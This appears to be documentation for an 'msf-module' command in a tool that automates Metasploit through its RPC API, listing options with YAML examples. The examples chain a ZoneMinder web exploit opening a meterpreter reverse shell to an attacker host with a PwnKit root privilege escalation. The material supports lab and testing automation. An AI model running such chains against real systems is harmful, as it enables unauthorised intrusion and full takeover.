msf-module

Execute Metasploit modules via the Metasploit RPC API.

Note

To configure the connection to msfrpcd, see msf_config.

Background mode is not supported for this commands.

Some modules (like auxiliary scanners) produce direct output:

commands:
  - type: msf-module
    cmd: auxiliary/scanner/portscan/tcp
    options:
      RHOSTS: 192.42.0.254

Most exploit modules do not produce direct output but instead open a session (see msf-session):

commands:
  - type: msf-module
    cmd: exploit/unix/webapp/zoneminder_snapshots
    creates_session: foothold
    options:
      RHOSTS: 192.42.0.254
    payload: cmd/unix/python/meterpreter/reverse_tcp
    payload_options:
      LHOST: 192.42.2.253
cmd

Path to the Metasploit module, including the module type prefix (e.g. exploit/unix/..., auxiliary/scanner/...).

Type:

str

Required:

True

options

Key-value pairs of module options (e.g. RHOSTS, RPORT).

Type:

Dict[str, str]

payload

Path to the payload to use with this module (e.g. linux/x64/shell/reverse_tcp).

Type:

str

payload_options

Key-value pairs of payload options (e.g. LHOST, LPORT).

Type:

Dict[str, str]

target

Target index for the module. Refer to the Metasploit module documentation for available targets.

Type:

int

Default:

0

creates_session

Name to assign to the session created by this module. The session can subsequently be referenced in msf-session or other modules via session.

Type:

str

session

Name of an existing session to pass to this module. Required by post-exploitation modules that operate within an active session.

Type:

str

The following example illustrates the use of sessions and payloads:

commands:
  - type: msf-module
    cmd: exploit/unix/webapp/zoneminder_snapshots
    creates_session: foothold
    options:
      RHOSTS: 192.42.0.254
    payload: cmd/unix/python/meterpreter/reverse_tcp
    payload_options:
      LHOST: 192.42.2.253

  - type: msf-module
    cmd: exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
    session: foothold
    creates_session: root
    options:
      WRITABLE_DIR: "/tmp"
    payload: linux/x64/shell/reverse_tcp
    payload_options:
      LHOST: 192.42.2.253
      LPORT: 4455